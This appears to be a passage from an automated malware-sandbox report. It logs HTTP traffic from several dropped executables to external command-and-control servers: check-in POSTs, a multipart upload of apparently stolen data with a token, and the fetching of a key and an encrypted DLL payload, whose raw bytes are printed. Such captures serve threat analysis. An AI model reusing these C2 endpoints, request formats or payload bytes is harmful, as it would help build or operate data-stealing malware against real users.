XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 23, 2024 17:18:48.467520952 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 23, 2024 17:18:48.467556000 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 23, 2024 17:18:48.467622042 CET	672	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 23, 2024 17:18:48.467655897 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 23, 2024 17:18:48.467689037 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 23, 2024 17:18:48.467721939 CET	1236	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 23, 2024 17:18:48.467756987 CET	1236	IN	Data Raw: 1a 2a 62 b4 ae 8a 5b 82 f2 2e 8d 4c f7 bc 4a 54 d2 2f 9c 5e d2 78 32 e3 23 07 42 8b dd c1 ad 98 37 2e 4a db d1 95 b9 bb 1a f0 cf e7 16 4b fc ec 93 ab e6 08 7e 4b 49 dc 0d 53 c5 8e 5f f2 c2 11 55 dc 53 1e 24 d4 8f 7e fa 25 60 68 8f b2 67 bd 27 d8 Data Ascii: b[.LJT/^x2#B7.JK~KIS_US$~%`hg'?CW[MQHSB-v0< c\tMc[T4Auxxc+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&
Dec 23, 2024 17:18:48.467834949 CET	1236	IN	Data Raw: 40 1b 4a eb 32 76 5f d3 fb 39 60 50 11 2c ac 7f 75 d5 41 17 9a ba 9a a5 65 e4 39 e7 ee 7b 3f e7 8d d7 54 c2 a5 72 c0 54 8a a5 b2 41 0c fc b8 f8 a6 99 6c 72 12 a8 98 67 28 3b fc fc c1 a9 30 6d fe 11 b8 f9 56 53 85 81 29 cb 26 d1 c8 94 83 58 a5 3c Data Ascii: @J2v_9`P,uAe9{?TrTAlrg(;0mVS)&X<V\/Z~_Jp;JOU6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[a
Dec 23, 2024 17:18:48.467869997 CET	1236	IN	Data Raw: 2b 67 00 6f 36 93 8b 8f 53 25 a3 ee f6 cc 1a d2 6d 3a a3 c7 1f 80 c8 43 65 da 7d 01 a3 c8 c6 08 e5 c2 f8 af 3d 9e 77 c1 ae 46 51 3f 02 02 8d 16 23 36 00 5e 2a 1d fc e1 36 a7 cc 4b 30 26 1d 8f 5f 45 f5 89 69 ff aa 98 7d 6d 1c a5 a0 d0 73 f1 10 df Data Ascii: +go6S%m:Ce}=wFQ?#6^6K0&_Ei}ms' 0u't0h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{T
Dec 23, 2024 17:18:48.476022959 CET	1236	IN	Data Raw: 63 18 c8 72 df a1 6f 49 6a f7 b6 ad 79 a5 cb 10 f5 ba e2 81 be e8 98 eb cc 6a 47 b3 45 85 09 0a 51 41 d8 51 2e bf 8c e7 c3 62 33 e4 7a bc 48 a7 e3 3b ff 37 5b c4 d6 52 a2 3f 62 26 3d 5a 7d cc 42 14 fd 13 48 12 28 2d 1e bf 75 4b 44 6e 94 56 05 63 Data Ascii: croIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)#=~Dr?_Ekx yCS<0k{)QtDuuM5:1hJ5A\*3x>olqm%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.9	49872	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:48.142030954 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:49.493025064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.9	49873	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:48.160547018 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:49.496200085 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.9	49875	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:49.260627985 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:50.593039036 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:50 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.9	49876	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:49.334810019 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:50.667617083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.9	49877	185.215.113.206	80	4712	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:49.574400902 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJEGIIEGIDGIDHJDAKF Host: 185.215.113.206 Content-Length: 5671 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:49.574466944 CET	5671	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 45 47 49 49 45 47 49 44 47 49 44 48 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 Data Ascii: ------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------FHJEGIIEGIDGIDHJDAKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 23, 2024 17:18:51.423377991 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.9	49878	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:49.643336058 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:50.986303091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.9	49879	185.156.73.23	80	4988	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:50.419120073 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:51.776451111 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 23, 2024 17:18:51.846029043 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:52.317519903 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 23, 2024 17:18:52.393837929 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:52.955523014 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 23, 2024 17:18:52.955574036 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 23, 2024 17:18:52.955677032 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 23, 2024 17:18:52.955712080 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 23, 2024 17:18:52.955745935 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 23, 2024 17:18:52.955810070 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
Dec 23, 2024 17:18:52.955889940 CET	1236	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
Dec 23, 2024 17:18:52.955923080 CET	1236	IN	Data Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44 Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZe'0ZiU4Nk+@V,E#LQ$iT{}@zFA8F /7B@57ARN"lU^-
Dec 23, 2024 17:18:52.955960035 CET	1236	IN	Data Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f Data Ascii: +[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y\|w.y0Pc-:gZdSw^P;$)SL'3{y
Dec 23, 2024 17:18:52.964027882 CET	896	IN	Data Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6 Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM\|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
Dec 23, 2024 17:18:52.967207909 CET	1236	IN	Data Raw: c4 2b ef bd 7d 2c 43 08 ed 7b 6b 29 6e 0e 1f c4 b7 82 38 dd 6c d9 86 f4 10 35 b0 a5 85 fc 11 b1 d2 2f 8d 77 64 e2 a9 08 d7 d5 3c d2 4a 6a 78 59 69 0f 6c e4 a9 b3 24 c6 f4 58 9a 23 39 7d c7 13 4c f7 63 fc 1e b2 57 02 df 46 1e fd 6d 66 5c 34 7b 69 Data Ascii: +},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)
Dec 23, 2024 17:18:53.492412090 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:53.988022089 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:53 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.9	49881	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:51.302023888 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:52.629658937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.9	49883	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:51.780105114 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:53.086007118 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.9	49884	185.215.113.206	80	4712	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

